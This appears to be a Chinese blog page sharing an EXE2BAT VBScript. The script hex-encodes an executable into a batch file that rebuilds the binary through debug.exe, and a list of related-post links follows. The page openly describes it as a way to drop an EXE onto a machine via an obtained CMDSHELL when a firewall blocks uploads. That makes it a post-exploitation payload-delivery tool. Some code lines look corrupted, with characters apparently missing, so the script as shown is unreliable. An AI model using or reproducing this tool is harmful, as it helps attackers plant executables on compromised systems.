java bat转vbs_EXE2BAT(EXE转BAT)的vbs脚本
exe2bat的脚本
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,""))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
说明文件:在得到一个CMDSHELL而又因为防火墙等原因无法上传文件时,可以使用本脚本.
直接在本地将一个EXE文件转换为一个BAT文件然后用记事本打开BAT文件,然后复制全部->CMDSHELL粘贴一下就可以在CMDSHELL下得到我们上传的EXE文件了.
脚本用法为:cscript cdown.vbs XXX.exe
在同目录下生成一个BAT文件.按上面的做法
java bat转vbs_EXE2BAT(EXE转BAT)的vbs脚本相关推荐
- 编辑器下运行exe或bat run exe or bat in editor
bat 打开bat文件,在第一行插入cd /D %~dp0 Application.OpenURL("xxx.bat"); UnityEditor.EditorUtility.Op ...
- java工程在windows环境用bat启动详解
原 java工程在windows环境用bat启动详解 2016年08月24日 13:19:52 qq_31197461 阅读数:3038 <span class="tags-box a ...
- 去掉bat和某些exe的黑窗口
bat文件和某些调试用的exe文件都会用到终端输出调试信息.但是演示的时候通常希望隐藏黑窗口,有两种方法,第一种是重新编译程序,在编译选项里面去掉终端输出,但这样有时比较麻烦.下面是一种简单的方法: ...
- 88道BAT Java面试题 助你跳槽BAT,轻松应对面试官的灵魂拷问
88道BAT Java面试题 助你跳槽BAT,轻松应对面试官的灵魂拷问 前言: 备战金九银十逃脱不了面试官的灵魂拷问,笔者整理了88道Java面试,由于面试题太多文章没有包含答案,需要领取这些面试题答 ...
- php 打包exe程序,bat打包成exe
bat打包成exe 发布时间:2018-11-29 15:00, 浏览次数:349 , 标签: bat exe 在之前的文章中向大家介绍了如何通过exe-4j将jar打包成exe文件,这篇文章为大家介 ...
- 使用 GraalVM 将基本的 Java 项目打包成 EXE
使用 GraalVM 将基本的 Java 项目打包成 EXE GraalVM 的环境搭建 将基本的 Java 项目打包成 EXE 将 JAR 转化为 EXE GraalVM 与 Java 中其它打包成 ...
- 用nc+简单bat/vbs脚本+winrar制作迷你远控后门
前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...
- 全网最全脚本整理,优秀学习范例汇集 —— VBS脚本、BAT脚本(批处理)公开、免费下载
目录 ▼脚本列表 1.VBS脚本列表及脚本说明 2.BAT批处理脚本列表及脚本说明 ▼脚本下载链接 ◆ 配合<定时执行专家>使用,功能更加强大 ◆ 关于<定时执行专家>的&qu ...
- java写exe程序实例,java实现可安装的exe程序实例详解
java实现可安装的exe程序实例详解 通过编写java代码,实现可安装的exe文件的一般思路: 1.在eclipse中创建java项目,然后编写java代码,将编写好的java项目导出一个.jar格 ...
最新文章
- neo4j客户端下载
- 只要你的AI算法能比小白鼠聪明,DeepMind的这20万奖金请拿走
- PKI/CA (3)CA功能细分
- 20161104面试题-面试常问问题
- iOS属性传值传递不过去
- opencv问题解析
- LeetCode 1560. 圆形赛道上经过次数最多的扇区
- php rsa加密乱码_PHP RSA密文过长加密解密 越过1024的解决代码
- idea 未实现接口红线提示,重复代码波浪线提示,自动换行,控制台输出内容自动换行...
- VoxelNet:End-to-End Learning for Point Cloud Based 3D Object Detection阅读笔记
- “牙医”教你用450行Go代码自制编程语言 | Gopher Daily (2021.01.15) ʕ◔ϖ◔ʔ
- 高速高精度半导体运动台设计(二)
- 大数据技术的概论(2)
- Olympiad(求区间内的美丽数)超详细 (C,C++)
- 在我的新书里,尝试着用股票案例讲述Python爬虫大数据可视化等知识
- 【系统分析师之路】2018年上系统分析师综合知识真题
- android 模拟黑胶唱片,VinylTap:完美模拟黑胶碟 可翻面可调速
- 程序员未来的出路与如何转型
- 经由unix域套接字传送文件描述符
- openlayers6【二十二】vue addLayer实现点击地图添加图标要素信息,编辑点位信息